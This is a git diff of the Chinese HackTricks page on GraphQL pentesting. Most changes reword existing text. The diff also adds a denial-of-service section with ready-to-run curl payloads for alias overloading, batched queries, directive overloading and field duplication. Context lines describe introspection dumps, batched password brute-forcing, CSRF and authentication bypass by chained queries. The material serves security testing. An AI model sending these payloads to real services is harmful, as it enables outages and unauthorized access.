diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index 266cdc8cd..6edd7aff3 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -1,8 +1,8 @@ # GraphQL {% hint style="success" %} -学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -21,7 +21,7 @@ GraphQL 被**强调**为 REST API 的**高效替代方案**,提供了一种简 ## GraphQL 和安全性 -随着新技术的出现,包括 GraphQL,新的安全漏洞也随之而来。一个关键点是**GraphQL 默认不包含认证机制**。开发者有责任实施这些安全措施。没有适当的认证,GraphQL 端点可能会向未认证用户暴露敏感信息,构成重大安全风险。 +随着新技术的出现,包括 GraphQL,新的安全漏洞也随之而来。一个关键点是**GraphQL 默认不包含认证机制**。开发者有责任实施这些安全措施。没有适当的认证,GraphQL 端点可能会向未认证的用户暴露敏感信息,构成重大安全风险。 ### 目录暴力攻击与 GraphQL @@ -180,7 +180,7 @@ name ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -最后一行代码是一个graphql查询,它将转储所有来自graphql的元信息(对象名称、参数、类型...) +最后一行代码是一个graphql查询,将从graphql中转储所有元信息(对象名称、参数、类型...) ![](<../../.gitbook/assets/image (363).png>) @@ -198,7 +198,7 @@ name ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>) -您可以看到“_Flags_”对象由**name**和**value**组成。然后,您可以使用查询获取所有标志的名称和值: +您可以看到“_Flags_”对象由**name**和**value**组成。然后,您可以使用以下查询获取所有标志的名称和值: ```javascript query={flags{name, value}} ``` @@ -211,7 +211,7 @@ query={flags{name, value}} query={hiddenFlags} ``` 在另一个例子中,"_Query_" 类型对象中有两个对象:"_user_" 和 "_users_"。\ -如果这些对象不需要任何参数进行搜索,可以通过**请求**所需的数据来**检索所有信息**。在这个互联网示例中,你可以提取保存的用户名和密码: +如果这些对象不需要任何参数进行搜索,可以**直接请求**所需的数据来**检索所有信息**。在这个互联网示例中,你可以提取保存的用户名和密码: ![](<../../.gitbook/assets/image (880).png>) @@ -251,7 +251,7 @@ email } } ``` -您可以通过**名称**搜索人员并获取他们的**订阅****电影**: +您可以通过**名称**搜索人员并获取他们的**订阅**的**电影**: ```javascript { searchPerson(name: "John Doe") { @@ -307,9 +307,9 @@ name ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>) -在此设置中,**数据库**包含**人员**和**电影**。**人员**通过其**电子邮件**和**姓名**进行识别;**电影**通过其**名称**和**评分**进行识别。**人员**可以彼此成为朋友,并且也可以拥有电影,表示数据库中的关系。 +在此设置中,**数据库**包含**人员**和**电影**。**人员**通过其**电子邮件**和**姓名**进行识别;**电影**通过其**名称**和**评分**进行识别。**人员**可以互为朋友,并且也可以拥有电影,表示数据库中的关系。 -一个**在数据库中创建新**电影的变更可以像以下示例(在此示例中,变更被称为 `addMovie`): +一个**在数据库中创建新**电影的变更可以如下所示(在此示例中,变更被称为 `addMovie`): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -322,7 +322,7 @@ rating ``` **注意查询中如何指示值和数据类型。** -此外,数据库支持一个**mutation**操作,名为`addPerson`,允许创建**persons**及其与现有**friends**和**movies**的关联。重要的是要注意,朋友和电影必须在数据库中预先存在,然后才能将它们链接到新创建的人。 +此外,数据库支持一个**mutation**操作,名为`addPerson`,允许创建**persons**及其与现有**friends**和**movies**的关联。重要的是要注意,朋友和电影必须在数据库中预先存在,才能将它们链接到新创建的人。 ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -357,7 +357,7 @@ releaseYear ### 在1个API请求中批量暴力破解 此信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。\ -通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。 +通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**以进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。 下面是一个应用程序身份验证请求的最简单演示,**一次有3个不同的电子邮件/密码对**。显然,可以以相同的方式在单个请求中发送数千个: @@ -415,7 +415,7 @@ ws.send(JSON.stringify(graphqlMsg)); ``` ### **发现暴露的 GraphQL 结构** -当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有效的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 **暴露敏感查询**。在开发者工具中搜索的命令是: +当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 **暴露的敏感查询**。在开发者工具中搜索的命令是: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -439,11 +439,11 @@ file:* query ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -因此,像之前那样的 CSRF 请求是 **在没有预检请求的情况下** 发送的,因此可以 **利用** **CSRF** 在 GraphQL 中 **进行** **更改**。 +因此,像之前那样的 CSRF 请求是 **在没有预检请求的情况下** 发送的,因此可以 **利用** CSRF **在 GraphQL 中进行** **更改**。 -然而,请注意 Chrome 的 `samesite` 标志的新默认 cookie 值为 `Lax`。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。 +但是,请注意,Chrome 的 `samesite` 标志的新默认 cookie 值为 `Lax`。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。 -请注意,通常也可以将 **查询** **请求** 作为 **GET** **请求** 发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。 +请注意,通常也可以将 **查询** **请求** 作为 **GET** **请求发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。** 此外,利用 [**XS-Search**](../../pentesting-web/xs-search/) **攻击** 可能能够利用用户的凭据从 GraphQL 端点提取内容。 @@ -477,7 +477,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A [将查询链接](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)在一起可以绕过一个弱认证系统。 -在下面的示例中,您可以看到操作是“forgotPassword”,并且它应该只执行与之相关的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点,在这种情况下,我们添加“register”和一个用户变量,以便系统注册为新用户。 +在下面的示例中,您可以看到操作是“forgotPassword”,并且它应该只执行与之关联的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点,在这种情况下,我们添加“register”和一个用户变量,以便系统注册为新用户。
@@ -487,7 +487,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A 要详细了解 GraphQL 别名,推荐以下资源:[Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 -虽然别名的主要目的是减少大量 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以绕过此类速率限制措施。 +虽然别名的主要目的是减少多个 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以绕过这样的速率限制措施。 考虑下面提供的示例,它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译成一个 HTTP 请求,可能允许同时验证多个折扣代码。 ```bash @@ -504,20 +504,96 @@ valid } } ``` +## DoS in GraphQL + +### Alias Overloading + +**Alias Overloading** 是一种 GraphQL 漏洞,攻击者通过为同一字段过载查询,使用多个别名,导致后端解析器重复执行该字段。这可能会使服务器资源过载,从而导致 **Denial of Service (DoS)**。例如,在下面的查询中,同一字段(`expensiveField`)使用别名请求了 1,000 次,迫使后端计算 1,000 次,可能耗尽 CPU 或内存: + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "Content-Type: application/json" \ +-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +为了解决这个问题,实施别名计数限制、查询复杂性分析或速率限制,以防止资源滥用。 + +### **基于数组的查询批处理** + +**基于数组的查询批处理**是一种漏洞,其中GraphQL API允许在单个请求中批处理多个查询,使攻击者能够同时发送大量查询。这可能会通过并行执行所有批处理查询来压垮后端,消耗过多的资源(CPU、内存、数据库连接),并可能导致**服务拒绝(DoS)**。如果对批处理中的查询数量没有限制,攻击者可以利用这一点来降低服务可用性。 + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ +'https://example.com/graphql' +``` +{% endcode %} + +在这个例子中,10个不同的查询被批量处理成一个请求,迫使服务器同时执行所有查询。如果利用更大的批量大小或计算开销大的查询,这可能会使服务器过载。 + +### **指令过载漏洞** + +**指令过载**发生在GraphQL服务器允许带有过多重复指令的查询时。这可能会使服务器的解析器和执行器不堪重负,特别是当服务器反复处理相同的指令逻辑时。如果没有适当的验证或限制,攻击者可以通过构造一个包含大量重复指令的查询来利用这一点,从而触发高计算或内存使用,导致**服务拒绝(DoS)**。 + +{% code overflow="wrap" %} +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +请注意,在前面的示例中,`@aa` 是一个**可能未声明**的自定义指令。通常存在的一个常见指令是 **`@include`**: + +{% code overflow="wrap" %} +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +您还可以发送一个 introspection 查询以发现所有声明的指令: +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ +'https://example.com/graphql' +``` +然后**使用一些自定义的**。 + +### **字段重复漏洞** + +**字段重复**是一种漏洞,其中GraphQL服务器允许查询中重复过多的相同字段。这迫使服务器为每个实例冗余地解析该字段,消耗大量资源(CPU、内存和数据库调用)。攻击者可以构造包含数百或数千个重复字段的查询,导致高负载,并可能导致**服务拒绝(DoS)**。 +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ +'https://example.com/graphql' +``` ## 工具 ### 漏洞扫描器 * [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): 测试graphql端点的常见错误配置 -* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 专注于执行批量GraphQL查询和变更的GraphQL安全审计脚本。 +* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 重点进行批量GraphQL查询和变更的GraphQL安全审计脚本。 * [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 指纹识别正在使用的graphql -* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 可用于抓取模式和搜索敏感数据、测试授权、暴力破解模式以及查找到给定类型的路径的工具包。 +* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 工具包,可用于抓取模式并搜索敏感数据,测试授权,暴力破解模式,并找到到给定类型的路径。 * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 可作为独立工具或[Burp扩展](https://github.com/doyensec/inql)使用。 * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为CLI客户端使用以自动化攻击 * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在GraphQL模式中**到达给定类型的不同方式**的工具。 * [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL的独立和CLI模式的继任者 -* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击,这对于规避实现不佳的速率限制非常有用。 -* [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些Graphql数据库的帮助,即使在禁用自省的情况下也获取模式,这些数据库将建议变更和参数的名称。 +* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击,这对于规避实现不良的速率限制非常有用。 +* [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些Graphql数据库的帮助,即使在自省禁用的情况下也获取模式,这些数据库将建议变更和参数的名称。 ### 客户端 @@ -541,8 +617,8 @@ valid * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) {% hint style="success" %} -学习和实践AWS黑客攻击:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -学习和实践GCP黑客攻击:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte) +学习与实践AWS黑客攻击:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践GCP黑客攻击:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)